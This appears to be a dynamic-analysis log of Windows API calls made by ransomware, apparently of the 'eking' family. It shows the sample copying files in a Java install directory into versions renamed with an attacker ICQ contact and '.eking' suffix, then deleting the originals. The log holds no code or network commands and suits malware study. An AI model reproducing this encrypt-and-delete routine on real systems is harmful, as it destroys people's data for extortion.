[0234.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0234.732] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=24128) returned 1 [0234.733] CloseHandle (hObject=0x358) returned 1 [0234.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 0x20 [0234.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 0x20 [0234.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0234.734] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=110144) returned 1 [0234.734] CloseHandle (hObject=0x358) returned 1 [0234.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll")) returned 0x20 [0234.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll")) returned 0x20 [0234.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0235.281] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=192576) returned 1 [0235.281] CloseHandle (hObject=0x374) returned 1 [0235.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll")) returned 0x20 [0235.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll")) returned 0x20 [0235.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0235.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.283] SetEvent (hEvent=0x2b8) returned 1 [0235.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0235.285] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=77888) returned 1 [0235.285] CloseHandle (hObject=0x374) returned 1 [0235.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll")) returned 0x20 [0235.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll")) returned 0x20 [0235.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0235.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.285] SetEvent (hEvent=0x2b8) returned 1 [0235.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0235.287] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3244) returned 1 [0235.287] CloseHandle (hObject=0x374) returned 1 [0235.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 0x20 [0235.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 0x20 [0235.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0235.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0235.288] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0235.289] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0235.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x370 [0235.290] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xcac, lpOverlapped=0x0) returned 1 [0235.346] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xcb0, lpOverlapped=0x0) returned 1 [0235.347] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0235.347] CloseHandle (hObject=0x374) returned 1 [0235.348] CloseHandle (hObject=0x370) returned 1 [0235.351] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 0 [0235.351] SetEvent (hEvent=0x2b8) returned 1 [0235.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0235.352] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=149) returned 1 [0235.352] CloseHandle (hObject=0x370) returned 1 [0235.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0x20 [0235.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0x20 [0235.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0235.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0235.353] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0235.353] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0235.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x388 [0235.360] ReadFile (in: hFile=0x370, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x95, lpOverlapped=0x0) returned 1 [0235.361] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xa0, lpOverlapped=0x0) returned 1 [0235.363] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x112, lpOverlapped=0x0) returned 1 [0235.363] CloseHandle (hObject=0x370) returned 1 [0235.363] CloseHandle (hObject=0x388) returned 1 [0235.368] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0 [0235.368] SetEvent (hEvent=0x2b8) returned 1 [0235.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0235.369] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=634) returned 1 [0235.369] CloseHandle (hObject=0x388) returned 1 [0235.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0x20 [0235.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0x20 [0235.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0235.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0235.370] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0235.370] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0235.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x370 [0235.375] ReadFile (in: hFile=0x388, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x27a, lpOverlapped=0x0) returned 1 [0235.377] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x280, lpOverlapped=0x0) returned 1 [0235.379] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xe2, lpOverlapped=0x0) returned 1 [0235.379] CloseHandle (hObject=0x388) returned 1 [0235.380] CloseHandle (hObject=0x370) returned 1 [0235.383] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0 [0235.384] SetEvent (hEvent=0x2b8) returned 1 [0235.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0235.385] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1378) returned 1 [0235.385] CloseHandle (hObject=0x370) returned 1 [0235.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 0x20 [0235.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 0x20 [0235.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0235.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0235.387] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0235.387] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0235.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x384 [0235.677] ReadFile (in: hFile=0x370, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x562, lpOverlapped=0x0) returned 1 [0235.680] WriteFile (in: hFile=0x384, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x570, lpOverlapped=0x0) returned 1 [0235.682] WriteFile (in: hFile=0x384, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0235.682] CloseHandle (hObject=0x370) returned 1 [0235.682] CloseHandle (hObject=0x384) returned 1 [0235.683] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 0 [0235.684] SetEvent (hEvent=0x2b8) returned 1 [0235.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0235.685] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3036922) returned 1 [0235.685] CloseHandle (hObject=0x384) returned 1 [0235.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0x20 [0235.685] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0235.686] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0 [0235.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0235.687] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=84355) returned 1 [0235.687] CloseHandle (hObject=0x384) returned 1 [0235.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0x20 [0235.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0x20 [0235.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0235.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0235.688] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0235.688] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0235.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x370 [0235.691] ReadFile (in: hFile=0x384, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x14983, lpOverlapped=0x0) returned 1 [0235.696] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x14990, lpOverlapped=0x0) returned 1 [0235.700] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0235.700] CloseHandle (hObject=0x384) returned 1 [0235.700] CloseHandle (hObject=0x370) returned 1 [0235.709] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0 [0235.709] SetEvent (hEvent=0x2b8) returned 1 [0235.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0235.710] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=51236) returned 1 [0235.711] CloseHandle (hObject=0x370) returned 1 